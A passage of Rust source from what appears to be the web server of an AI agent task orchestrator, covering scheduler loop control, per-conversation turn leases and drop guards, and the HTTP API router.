923                return Ok(Vec::new());
924            }
925            Err(e) => return Err(anyhow::Error::from(e).into()),
926        };
927        let mut seen = HashSet::new();
928        for entry in entries {
929            let path = entry.map_err(anyhow::Error::from)?.path();
930            if path.extension().is_none_or(|ext| ext != "json") {
931                continue;
932            }
933            let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
934                continue;
935            };
936            let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
937            seen.insert(id.to_owned());
938            // On platforms without inode/ctime, re-read rather than trust a
939            // same-size replacement with a preserved modification timestamp.
940            if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
941                let Ok(task) = self.queue.get(id) else {
942                    // Isolate an unreadable record, as Queue::list does. Keep
943                    // its last known relationship so a lookup of THAT task
944                    // still fails on the authoritative read below. Never let
945                    // unrelated corruption disable every run and conversation.
946                    // Counts must not present its previous status as current.
947                    if let Some((_, record)) = index.records.get_mut(id) {
948                        Arc::make_mut(record).status = None;
949                    }
950                    continue;
951                };
952                #[cfg(test)]
953                {
954                    index.reparsed += 1;
955                }
956                if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
957                    return Err(ApiError::conflict("Queue changed during read; retry"));
958                }
959                index
960                    .records
961                    .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
962            }
963        }
964        index.records.retain(|id, _| seen.contains(id));
965        let mut tasks: Vec<_> = index
966            .records
967            .values()
968            .map(|(_, task)| task.clone())
969            .collect();
970        tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
971        Ok(tasks)
972    }
973
974    fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
975        let Some(record) = self
976            .indexed_tasks()?
977            .into_iter()
978            .find(|task| task.runs.iter().any(|id| id == run_id))
979        else {
980            return Ok(None);
981        };
982        let task = self.queue.get(&record.id)?;
983        if !task.runs.iter().any(|id| id == run_id) {
984            return Err(ApiError::conflict("Task relationship changed; retry"));
985        }
986        Ok(Some(task))
987    }
988
989    fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
990        self.indexed_tasks()?
991            .into_iter()
992            .filter(|task| {
993                task.chat.as_deref() == Some(talk_id)
994                    || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
995            })
996            .map(|record| {
997                let task = self.queue.get(&record.id)?;
998                if task.chat.as_deref() != Some(talk_id)
999                    && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1000                {
1001                    return Err(ApiError::conflict("Task relationship changed; retry"));
1002                }
1003                Ok(task)
1004            })
1005            .collect()
1006    }
1007
1008    /// The operator's own state: `<home>/queue`, `<home>/questions`,
1009    /// `<home>/talks`, `<home>/runs`.
1010    pub fn open(repo: PathBuf) -> Self {
1011        Self::new(
1012            Queue::open(),
1013            Questions::open(),
1014            Talks::open(),
1015            run::runs_root(),
1016            run::home(),
1017            repo,
1018        )
1019    }
1020
1021    /// The merge mode the loop should use, as the command line gave it.
1022    ///
1023    /// A builder step rather than a seventh parameter on [`Ui::new`], because
1024    /// the override is a property of how this process was invoked and not of
1025    /// where its state lives - which is all the tests that build a `Ui` by
1026    /// hand are saying.
1027    #[must_use]
1028    pub fn with_merge(mut self, merge: Option<String>) -> Self {
1029        self.merge = merge;
1030        self
1031    }
1032
1033    /// The machine-config file the settings screen writes, when it is not
1034    /// [`Config::machine_layer`] (tests).
1035    #[cfg(test)]
1036    #[must_use]
1037    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
1038        self.machine_config = path;
1039        self
1040    }
1041
1042    /// Where the runs' worktrees live, when it is not the default.
1043    ///
1044    /// The health view sizes this directory, so a test that leaves it at the
1045    /// default would be measuring the operator's own machine.
1046    #[must_use]
1047    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
1048        self.worktrees_root = root;
1049        self
1050    }
1051
1052    /// Point the loop at something other than [`launch_daemon`].
1053    ///
1054    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
1055    /// this crate may start the real loop.
1056    #[cfg(test)]
1057    #[must_use]
1058    fn with_launch(mut self, launch: Launch) -> Self {
1059        self.launch = launch;
1060        self
1061    }
1062
1063    /// Install a [`BusyQueueGate`] for the next pass through the busy
1064    /// branch's queued-draft write, replacing any earlier one.
1065    ///
1066    /// A setter on `&self` rather than a `with_*` builder consumed once,
1067    /// because a test that drives the busy branch more than once (as
1068    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
1069    /// to build confidence the interleaving is handled deterministically and
1070    /// not just on a lucky run) needs a fresh channel pair each time, on the
1071    /// one `Ui` it already built its temp directories around.
1072    #[cfg(test)]
1073    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
1074        *self
1075            .busy_queue_gate
1076            .lock()
1077            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
1078    }
1079
1080    /// Prevent a restart from ending an already accepted send between its
1081    /// durable transcript write and detached worker reservation.
1082    fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
1083        let guard = Arc::clone(&self.admissions)
1084            .try_read_owned()
1085            .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
1086        if *guard {
1087            return Err(ApiError::conflict(
1088                "web restart in progress; retry this message",
1089            ));
1090        }
1091        Ok(guard)
1092    }
1093
1094    /// Start a scheduler that outlives this web process.
1095    async fn start_detached_loop(&self) -> ApiResult<()> {
1096        if self
1097            .upgrade_spawned
1098            .load(std::sync::atomic::Ordering::SeqCst)
1099        {
1100            return Err(ApiError::conflict("an upgrade is in progress"));
1101        }
1102        let reading = daemon::read_status(&self.home);
1103        if let Some(other) = Foreign::of(reading.as_ref()) {
1104            return Err(ApiError::conflict(format!(
1105                "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
1106                other.who()
1107            )));
1108        }
1109        let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
1110        let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
1111        let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
1112            || reading.is_some_and(|reading| {
1113                reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
1114            });
1115        if control.is_some() && scheduler_running {
1116            return Err(ApiError::conflict(
1117                "the scheduler is still stopping; retry Start after it has stopped",
1118            ));
1119        }
1120        if !jobs.iter().any(|job| job.kind == "scheduler") {
1121            let available =
1122                crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
1123            if available.is_none() {
1124                return Err(ApiError::conflict(
1125                    "the scheduler is still running or stopping; retry after its transition completes",
1126                ));
1127            }
1128            drop(available);
1129        }
1130        let opts = daemon::Opts {
1131            repo: self.repo.clone(),
1132            merge: self.merge.clone(),
1133            worktrees_root: Some(self.worktrees_root.clone()),
1134            ..daemon::Opts::default()
1135        };
1136        daemon::spawn_detached(&self.home, &opts)
1137            .await
1138            .map_err(ApiError::from)?;
1139        let mut state = self.lock_loop();
1140        state.last_error = None;
1141        state.rev += 1;
1142        Ok(())
1143    }
1144
1145    /// Start the loop in this process, or say who already has one.
1146    ///
1147    /// `foreign` is passed in rather than read here so that one request makes
1148    /// one judgement about who owns the loop: reading the status file again
1149    /// inside this function could refuse a start for a daemon the same
1150    /// response then reports as gone.
1151    #[cfg(test)]
1152    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
1153        if let Some(other) = foreign {
1154            return Err(ApiError::conflict(format!(
1155                "{} is already running the loop, so this one will not start a \
1156                 second: two loops on one queue race for the same claims and \
1157                 burn the agent quota twice over. Stop it where it was \
1158                 started.",
1159                other.who()
1160            )));
1161        }
1162        let mut state = self.lock_loop();
1163        if self
1164            .upgrade_spawned
1165            .load(std::sync::atomic::Ordering::SeqCst)
1166        {
1167            return Err(ApiError::conflict("an upgrade is in progress"));
1168        }
1169        if state.live.as_ref().is_some_and(Live::alive) {
1170            return Err(ApiError::conflict(format!(
1171                "this magi web process (pid {}) is already running the loop",
1172                std::process::id()
1173            )));
1174        }
1175
1176        let stop = daemon::Stop::new();
1177        // The CLI's own defaults for everything the UI has no opinion about:
1178        // one poll interval and one retry budget, so a loop started from a
1179        // phone behaves exactly like the `magi serve` it replaces.
1180        let opts = daemon::Opts {
1181            repo: self.repo.clone(),
1182            merge: self.merge.clone(),
1183            // Whatever this `Ui` already reports worktree sizes and folds
1184            // against (see `with_worktrees_root`) is what the loop it starts
1185            // must reclaim orphaned worktrees under too - two different
1186            // opinions about where the worktree bay is would leave the
1187            // janitor pass reclaiming a directory nothing else on this
1188            // process is even looking at.
1189            worktrees_root: Some(self.worktrees_root.clone()),
1190            ..daemon::Opts::default()
1191        };
1192        let launch = self.launch;
1193        let looping = Arc::clone(&self.looping);
1194        let handle = tokio::spawn({
1195            let opts = opts.clone();
1196            let stop = stop.clone();
1197            async move {
1198                let failure = match launch(opts, stop).await {
1199                    Ok(()) => None,
1200                    Err(e) => Some(format!("{e:#}")),
1201                };
1202                match &failure {
1203                    Some(why) => tracing::error!("the loop stopped: {why}"),
1204                    None => tracing::info!("the loop stopped"),
1205                }
1206                // Recorded by the task itself rather than reaped by whichever
1207                // request happens next, so `loop_rev` moves the moment the
1208                // loop ends and a phone with the change stream open learns
1209                // that it did. Clearing `live` drops this task's own handle,
1210                // which only detaches it, and is the last thing it does.
1211                let mut state = lock_or_recover(&looping);
1212                state.live = None;
1213                state.last_error = failure;
1214                state.rev += 1;
1215            }
1216        });
1217        tracing::info!(
1218            "the loop is now running in this process: repo {}, merge {}",
1219            opts.repo.display(),
1220            opts.merge.as_deref().unwrap_or("as the config says")
1221        );
1222        state.live = Some(Live { stop, handle, opts });
1223        // A fresh start is not the place to keep showing why the last one
1224        // died; the operator has read it and pressed the button anyway.
1225        state.last_error = None;
1226        state.rev += 1;
1227        Ok(())
1228    }
1229
1230    /// Ask the loop to stop, without waiting for it to get there.
1231    ///
1232    /// Idempotent: a second tap on stop is not an error, because the first one
1233    /// leaves the loop running for as long as the run in flight takes and the
1234    /// operator has no way to tell a slow stop from a lost one.
1235    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1236        if let Some(other) = foreign {
1237            return Err(ApiError::conflict(format!(
1238                "the loop belongs to {}, and this process cannot stop it - \
1239                 stop it where it was started. A button that silently did \
1240                 nothing would be worse than this refusal.",
1241                other.who()
1242            )));
1243        }
1244        #[cfg(not(test))]
1245        {
1246            daemon::request_control(
1247                &self.home,
1248                if park {
1249                    crate::worker::Control::Park
1250                } else {
1251                    crate::worker::Control::Stop
1252                },
1253            )
1254            .map_err(ApiError::from)?;
1255            self.lock_loop().rev += 1;
1256            Ok(())
1257        }
1258        #[cfg(test)]
1259        {
1260            let mut state = self.lock_loop();
1261            let Some(live) = state.live.as_ref() else {
1262                return Ok(());
1263            };
1264            // A park upgrades a stop that has already been asked for: the
1265            // operator who tapped "stop" and then realised the run has an hour
1266            // left must not have to restart the loop to change their mind.
1267            if live.stop.stopped() && (!park || live.stop.parking()) {
1268                return Ok(());
1269            }
1270            if park {
1271                live.stop.park(crate::run::ParkCause::Operator);
1272                tracing::info!(
1273                    "the loop was asked to park; the run stops at its next node boundary"
1274                );
1275            } else {
1276                live.stop.stop();
1277                tracing::info!("the loop was asked to stop; a run in flight is finished first");
1278            }
1279            state.rev += 1;
1280            Ok(())
1281        }
1282    }
1283
1284    /// The loop as both `/api/loop` and `/api/health` report it.
1285    ///
1286    /// `reading` is the caller's single read of `<home>/daemon.json`, because
1287    /// health answers with this view *and* the daemon object beside it: one
1288    /// read per response is what stops a single answer naming a foreign owner
1289    /// in one field and calling the loop free in the other.
1290    #[cfg(not(test))]
1291    fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1292        let jobs = crate::worker::active(&self.home).map_err(|error| {
1293            ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1294        })?;
1295        Ok(self.runtime_loop_view(reading, &jobs))
1296    }
1297
1298    #[cfg(test)]
1299    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1300        let state = self.lock_loop();
1301        // A loop that panicked never recorded its own end, so the handle -
1302        // not the presence of the record - is what "running" means.
1303        let live = state.live.as_ref().filter(|live| live.alive());
1304        LoopView {
1305            running: live.is_some(),
1306            stopping: live.is_some_and(|live| live.stop.finishing()),
1307            parking: live.is_some_and(|live| live.stop.parking()),
1308            owned: live.is_some(),
1309            repo: live
1310                .map_or(&self.repo, |live| &live.opts.repo)
1311                .display()
1312                .to_string(),
1313            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1314            last_error: state.last_error.clone(),
1315            daemon: DaemonView::of(reading),
1316        }
1317    }
1318
1319    /// Reuse one active-job snapshot for both ownership and public health.
1320    fn runtime_loop_view(
1321        &self,
1322        reading: Option<daemon::Reading>,
1323        jobs: &[crate::worker::Job],
1324    ) -> LoopView {
1325        let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1326        let reporting = reading
1327            .as_ref()
1328            .is_some_and(|r| r.running(Timestamp::now()));
1329        let managed = scheduler.is_some()
1330            || (reporting
1331                && reading
1332                    .as_ref()
1333                    .is_some_and(|r| r.worker_protocol == Some(1)));
1334        let control = crate::worker::control(&self.home, "scheduler")
1335            .ok()
1336            .flatten();
1337        // Foreground serve also persists its options, so ownership never
1338        // causes us to substitute the web process's repository for its own.
1339        let persisted = if managed && scheduler.is_none() {
1340            std::fs::read(self.home.join("scheduler-options.json"))
1341                .ok()
1342                .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1343        } else {
1344            None
1345        };
1346        let repo = scheduler
1347            .and_then(|job| job.payload.get("repo"))
1348            .and_then(serde_json::Value::as_str)
1349            .map(str::to_owned)
1350            .or_else(|| {
1351                persisted
1352                    .as_ref()
1353                    .map(|opts| opts.repo.display().to_string())
1354            })
1355            .unwrap_or_else(|| self.repo.display().to_string());
1356        let merge = match scheduler {
1357            Some(job) => job
1358                .payload
1359                .get("merge")
1360                .and_then(serde_json::Value::as_str)
1361                .map(str::to_owned),
1362            None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1363        };
1364        LoopView {
1365            running: managed || reporting,
1366            stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1367            parking: matches!(control, Some(crate::worker::Control::Park))
1368                && jobs.iter().any(|job| job.kind == "task"),
1369            owned: managed,
1370            repo,
1371            merge,
1372            last_error: self.lock_loop().last_error.clone(),
1373            daemon: DaemonView::of(reading),
1374        }
1375    }
1376
1377    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
1378    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1379        lock_or_recover(&self.looping)
1380    }
1381
1382    /// In-flight admission, detached startup, or a cross-process turn lease.
1383    fn is_thinking(&self, id: &str) -> bool {
1384        self.talk_turns
1385            .lock()
1386            .is_ok_and(|turns| turns.live.contains(id))
1387            // Another process (the CLI) can hold the turn through the
1388            // on-disk lease.
1389            || self.talks.turn_held(id)
1390            || crate::consult::turn_worker_active(&self.talks, id)
1391    }
1392
1393    /// 表示専用の観測。ローカルの受付処理やワーカーストアの書き込みを待たない。
1394    /// 送信・アップグレードなどの判断には [`Ui::is_thinking`] を使う。
1395    fn is_thinking_observed(&self, id: &str) -> bool {
1396        self.talk_turns.try_lock().map_or_else(
1397            // Admission may itself be waiting on the worker store. Display a
1398            // conservative busy state rather than waiting behind that writer.
1399            |error| matches!(error, std::sync::TryLockError::WouldBlock),
1400            |turns| turns.live.contains(id),
1401        )
1402            // Another process (the CLI) can hold the turn through the
1403            // on-disk lease.
1404            || self.talks.turn_held(id)
1405            || crate::consult::turn_worker_observed(&self.talks, id)
1406    }
1407
1408    /// Claim the right to run one turn in a talk, or report that it is busy.
1409    ///
1410    /// A talk is strictly turn-based: the agent is resumed with the
1411    /// conversation it already has, so two turns running at once would resume
1412    /// the same session twice and append their answers in whatever order the
1413    /// two CLIs finished in. The operator would come back to a transcript
1414    /// with two half-turns interleaved, which is unreadable and, worse,
1415    /// unfixable - there is no undo for a persisted turn.
1416    ///
1417    /// A busy result is queued as a durable draft by [`talk_say`], rather than
1418    /// starting a second CLI invocation for the same session.
1419    ///
1420    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
1421    /// taken to test-and-insert and released before the agent is spawned. The
1422    /// returned guard removes the id on drop, which is what makes a panicking
1423    /// handler or a phone that walks out of range leave the talk usable - axum
1424    /// drops the handler future when the client disconnects, and without the
1425    /// guard that talk would be wedged until the server restarted.
1426    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1427        self.claim_talk_turn(id, false)
1428    }
1429
1430    /// Claim a turn after durably queueing a draft, or notify its current
1431    /// owner that a drainer must recheck before it releases the slot.
1432    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1433        self.claim_talk_turn(id, true)
1434    }
1435
1436    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1437        let mut live = self
1438            .talk_turns
1439            .lock()
1440            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1441        if crate::consult::turn_worker_active(&self.talks, id) {
1442            if queued {
1443                *live.queued.entry(id.to_owned()).or_default() += 1;
1444            }
1445            return Ok(None);
1446        }
1447        let inserted = live.live.insert(id.to_owned());
1448        // The on-disk lease is the cross-process half of the gate. Taken
1449        // second, and undone if lost, so `live` never claims a turn the lease
1450        // refused.
1451        let lease = if inserted {
1452            match self.talks.claim_turn(id) {
1453                Ok(Some(lease)) => Some(lease),
1454                Ok(None) => {
1455                    live.live.remove(id);
1456                    None
1457                }
1458                Err(e) => {
1459                    live.live.remove(id);
1460                    return Err(ApiError::from(e));
1461                }
1462            }
1463        } else {
1464            None
1465        };
1466        if lease.is_none() {
1467            if queued {
1468                // A queued write has landed before this busy check.
1469                // `drain_loop` uses this generation to recheck after its
1470                // off-thread disk read, so it cannot release a turn between
1471                // this check and the write.
1472                *live.queued.entry(id.to_owned()).or_default() += 1;
1473            }
1474            return Ok(None);
1475        }
1476        Ok(Some(TalkTurnGuard {
1477            talk: id.to_owned(),
1478            turns: Arc::clone(&self.talk_turns),
1479            released: false,
1480            lease,
1481        }))
1482    }
1483
1484    /// Decide whether a free talk may start a new immediate turn while its
1485    /// claim lock is held. A persisted draft without an owner is recovery
1486    /// state, not a busy turn: two simultaneous `/say` requests must both
1487    /// leave it untouched rather than one of them appending to it.
1488    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1489        let mut live = self
1490            .talk_turns
1491            .lock()
1492            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1493        // A detached worker owns its turn across web process replacement.
1494        if live.live.contains(id) || crate::consult::turn_worker_active(&self.talks, id) {
1495            return Ok(TalkTurnStart::Busy);
1496        }
1497        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1498            return Ok(TalkTurnStart::Foreign);
1499        };
1500        // A refused `Pending` below drops the lease again.
1501        let talk = self.talks.get(id).map_err(ApiError::from)?;
1502        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1503            return Ok(TalkTurnStart::Pending);
1504        }
1505        live.live.insert(id.to_owned());
1506        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1507            talk: id.to_owned(),
1508            turns: Arc::clone(&self.talk_turns),
1509            released: false,
1510            lease: Some(lease),
1511        }))
1512    }
1513
1514    fn queued_generation(&self, id: &str) -> u64 {
1515        let live = self
1516            .talk_turns
1517            .lock()
1518            .unwrap_or_else(PoisonError::into_inner);
1519        live.queued.get(id).copied().unwrap_or(0)
1520    }
1521
1522    /// Automatic updates begin only when execution and chat workers are idle.
1523    /// A worker racing this snapshot survives the restart on its own executable.
1524    fn auto_upgrade_busy(&self) -> bool {
1525        #[cfg(test)]
1526        if self
1527            .lock_loop()
1528            .live
1529            .as_ref()
1530            .is_some_and(|live| live.stop.busy_now())
1531        {
1532            return true;
1533        }
1534        crate::worker::active(&self.home)
1535            .map_or(true, |jobs| jobs.iter().any(|job| job.kind != "scheduler"))
1536            || !daemon::current_work(&self.home, Timestamp::now()).is_empty()
1537            || !self
1538                .resuming
1539                .lock()
1540                .unwrap_or_else(PoisonError::into_inner)
1541                .is_empty()
1542            || !self
1543                .talk_turns
1544                .lock()
1545                .unwrap_or_else(PoisonError::into_inner)
1546                .live
1547                .is_empty()
1548            || self
1549                .talks
1550                .list()
1551                .iter()
1552                .any(|talk| self.is_thinking(&talk.id))
1553    }
1554
1555    /// Claim a run for a resume, on the same reasoning as
1556    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
1557    /// disconnected phone does not wedge the run until the server restarts.
1558    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1559        let mut live = self
1560            .resuming
1561            .lock()
1562            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1563        if self
1564            .upgrade_spawned
1565            .load(std::sync::atomic::Ordering::SeqCst)
1566        {
1567            return Err(ApiError::conflict("an upgrade is in progress"));
1568        }
1569        if !live.insert(id.to_owned()) {
1570            return Err(ApiError::conflict(format!(
1571                "run {id} is already being resumed"
1572            )));
1573        }
1574        Ok(ResumeGuard {
1575            run: id.to_owned(),
1576            resuming: Arc::clone(&self.resuming),
1577        })
1578    }
1579
1580    /// The router, with this state baked in.
1581    ///
1582    /// The three front-end files get one explicit route each rather than a
1583    /// path parameter, so there is no traversal surface to get wrong: the set
1584    /// of servable paths is the set written here. The asset route below is the
1585    /// one exception and the only place in this server where a client names a
1586    /// file; it is why [`valid_asset_name`] is checked before a path is built.
1587    pub fn router(self) -> Router {
1588        Arc::new(self).shared_router()
1589    }
1590
1591    fn shared_router(self: Arc<Self>) -> Router {
1592        Router::new()
1593            .route("/", get(index))
1594            .route("/app.css", get(app_css))
1595            .route("/app.js", get(app_js))
1596            .route("/api/health", get(health))
1597            .route("/api/references", post(id_links::resolve_text))
1598            .route("/api/loop", get(loop_get).post(loop_post))
1599            .route("/api/upgrade", post(upgrade_post))
1600            .route("/api/runs", get(runs_list))
1601            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1602            .route("/api/runs/{id}/progress", get(run_progress))
1603            .route("/api/runs/{id}/core", get(run_core))
1604            .route("/api/runs/{id}/report", get(run_report))
1605            .route("/api/runs/{id}/report.json", get(run_report_json))
1606            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1607            .route("/api/runs/{id}/seat-evidence", get(run_seat_evidence))
1608            .route("/api/runs/{id}/seat-evidence/{head}", get(run_seat_diff))
1609            .route("/api/runs/{id}/fold", post(run_fold))
1610            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1611            .route("/api/runs/{id}/resume", post(run_resume))
1612            .route("/api/queue", get(queue_list))
1613            .route("/api/queue/page", get(queue_page))
1614            .route("/api/search", get(search_get))
1615            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1616            .route("/api/queue/{id}/core", get(task_core))
1617            .route("/api/stats", get(stats_get))
1618            .route("/api/stats/queue", get(stats_queue))
1619            .route("/api/repos", get(repos_list))
1620            .route("/api/settings", get(settings_get))
1621            .route("/api/settings/roles", put(settings_put_roles))
1622            .route("/api/queue/{id}/hold", post(queue_hold))
1623            .route("/api/queue/{id}/reassign", post(queue_reassign))
1624            .route("/api/queue/{id}/release", post(queue_release))
1625            .route("/api/queue/{id}/priority", post(queue_priority))
1626            .route("/api/queue/{id}/urgent", post(queue_urgent))
1627            .route("/api/queue/{id}/implementers", post(queue_implementers))
1628            .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1629            .route("/api/queue/{id}/edit", post(queue_edit))
1630            .route("/api/queue/{id}/done", post(queue_done))
1631            .route("/api/questions", get(questions_list))
1632            .route("/api/questions/core", get(questions_core))
1633            .route("/api/questions/origins", get(question_origins))
1634            .route("/api/questions/{id}/answer", post(question_answer))
1635            .route("/api/questions/{id}/say", post(question_say))
1636            .route("/api/questions/{id}/consult", post(question_consult))
1637            .route("/api/questions/{id}/panel", get(question_panel))
1638            // The same asset, reachable from inside the panel by its bare
1639            // filename. A document served at `.../panel` resolves `shot.png`
1640            // to `.../shot.png`, which is not the asset route, so a panel
1641            // written the way its author was told to write it showed broken
1642            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
1643            // it - deliberately - so the fix is that the panel's own URL ends
1644            // in a filename and its siblings are the assets.
1645            .route("/api/questions/{id}/panel/index.html", get(question_panel))
1646            .route("/api/questions/{id}/panel/{name}", get(question_asset))
1647            .route("/api/questions/{id}/asset/{name}", get(question_asset))
1648            .route("/api/notifications", get(notifications_list))
1649            .route("/api/notifications/read-all", post(notifications_read_all))
1650            .route("/api/notifications/{id}/read", post(notification_read))
1651            .route(
1652                "/api/notifications/{id}/dismiss",
1653                post(notification_dismiss),
1654            )
1655            .route("/api/talks", get(talks_list).post(talk_post))
1656            .route("/api/talks/page", get(talks_page))
1657            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1658            .route("/api/talks/{id}/core", get(talk_core))
1659            .route("/api/talks/{id}/sections", get(talk_sections))
1660            .route("/api/talks/{id}/say", post(talk_say))
1661            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1662            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1663            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1664            .route("/api/talks/{id}/agent", post(talk_agent))
1665            .route("/api/talks/{id}/persona", post(talk_persona))
1666            .route("/api/talks/{id}/implementers", post(talk_implementers))
1667            .route("/api/talks/{id}/close", post(talk_close))
1668            .route("/api/talks/{id}/reopen", post(talk_reopen))
1669            // `DefaultBodyLimit` is raised only on this one route - every
1670            // other route on this server answers in a few kilobytes, and
1671            // widening the crate-wide default for all of them just because
1672            // one accepts a picture would let any other handler be handed
1673            // a multi-megabyte body it never expects.
1674            .route(
1675                "/api/talks/{id}/attachments",
1676                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1677            )
1678            .route(
1679                "/api/talks/{id}/attachments/{att}",
1680                get(talk_attachment_get),
1681            )
1682            .route("/api/talks/{id}/avatar", get(talk_avatar))
1683            .route("/avatars/operator.svg", get(operator_avatar))
1684            .route(
1685                "/api/avatar-settings",
1686                get(avatar_settings_get)
1687                    .put(avatar_settings_put)
1688                    .delete(avatar_settings_delete),
1689            )
1690            .route("/avatars/persona", get(settings_persona_avatar))
1691            .route("/avatars/magi", get(magi_avatar))
1692            .route(
1693                "/api/magi-icon",
1694                get(magi_icon_get)
1695                    .put(magi_icon_put)
1696                    .delete(magi_icon_delete),
1697            )
1698            .route("/api/events", get(events))
1699            .with_state(self)
1700    }
1701}
1702
1703/// One talk's turn slot, released on drop.
1704///
1705/// A guard rather than a matching `remove` at the end of the handler, because
1706/// the handler has several early returns and one `await` that can be cancelled
1707/// out from under it. A leaked id is a talk nobody can talk to again.
1708#[derive(Debug)]
1709struct TalkTurnGuard {
1710    talk: String,
1711    turns: Arc<Mutex<TalkTurns>>,
1712    released: bool,
1713    /// The cross-process half of the slot; dropped with the guard.
1714    lease: Option<crate::talk::TurnLease>,
1715}
1716
1717/// In-memory turn ownership plus the queue generation observed by a drainer.
1718///
1719/// The generation changes only after a durable queued draft is written and its
1720/// caller finds the turn busy. That lets the loop run filesystem work outside
1721/// this mutex while still making the final empty-check/release atomic with a
1722/// concurrent queue handoff.
1723#[derive(Debug, Default)]
1724struct TalkTurns {
1725    live: HashSet<String>,
1726    queued: HashMap<String, u64>,
1727}
1728
1729/// The atomic initial-state decision made by
1730/// [`Ui::begin_talk_turn_unless_pending`].
1731enum TalkTurnStart {
1732    Claimed(TalkTurnGuard),
1733    Busy,
1734    /// Another process holds the turn lease. Unlike `Busy` there is no local
1735    /// drain loop that would answer a queued draft, so the caller refuses.
1736    Foreign,
1737    Pending,
1738}
1739
1740impl TalkTurnGuard {
1741    #[cfg(test)]
1742    /// Does this guard still own the on-disk lease? A transient failure to
1743    /// check counts as owning: the next beat decides. A guard that lost it
1744    /// must not start another turn on the same session.
1745    fn owns(&self) -> bool {
1746        self.lease
1747            .as_ref()
1748            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1749    }
1750
1751    #[cfg(test)]
1752    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1753    /// than the lease's TTL still reads as held to other processes.
1754    async fn respond(
1755        &self,
1756        talk: &mut Talk,
1757        talks: &Talks,
1758        cfg: &Config,
1759        text: &str,
1760    ) -> anyhow::Result<()> {
1761        let lease = self
1762            .lease
1763            .as_ref()
1764            .context("the turn guard no longer holds its lease")?;
1765        talk::respond(lease, talk, talks, cfg, text).await
1766    }
1767
1768    /// Release while the caller already holds the claim mutex, closing the
1769    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1770    fn release(mut self, live: &mut TalkTurns) {
1771        // The on-disk lease goes first: while `live` still names the talk, no
1772        // local claim can start, so nobody observes the slot free but the
1773        // lease held.
1774        self.lease = None;
1775        live.live.remove(&self.talk);
1776        live.queued.remove(&self.talk);
1777        self.released = true;
1778    }
1779}
1780
1781impl Drop for TalkTurnGuard {
1782    fn drop(&mut self) {
1783        if self.released {
1784            return;
1785        }
1786        // Lease first, then the in-process slot (see `release`).
1787        drop(self.lease.take());
1788        if let Ok(mut live) = self.turns.lock() {
1789            live.live.remove(&self.talk);
1790            live.queued.remove(&self.talk);
1791        }
1792    }
1793}
1794
1795/// Releases a resume claim, so a run is resumable again after the attempt.
1796struct ResumeGuard {
1797    run: String,
1798    resuming: Arc<Mutex<HashSet<String>>>,
1799}
1800
1801impl Drop for ResumeGuard {
1802    fn drop(&mut self) {
1803        if let Ok(mut live) = self.resuming.lock() {
1804            live.remove(&self.run);
1805        }
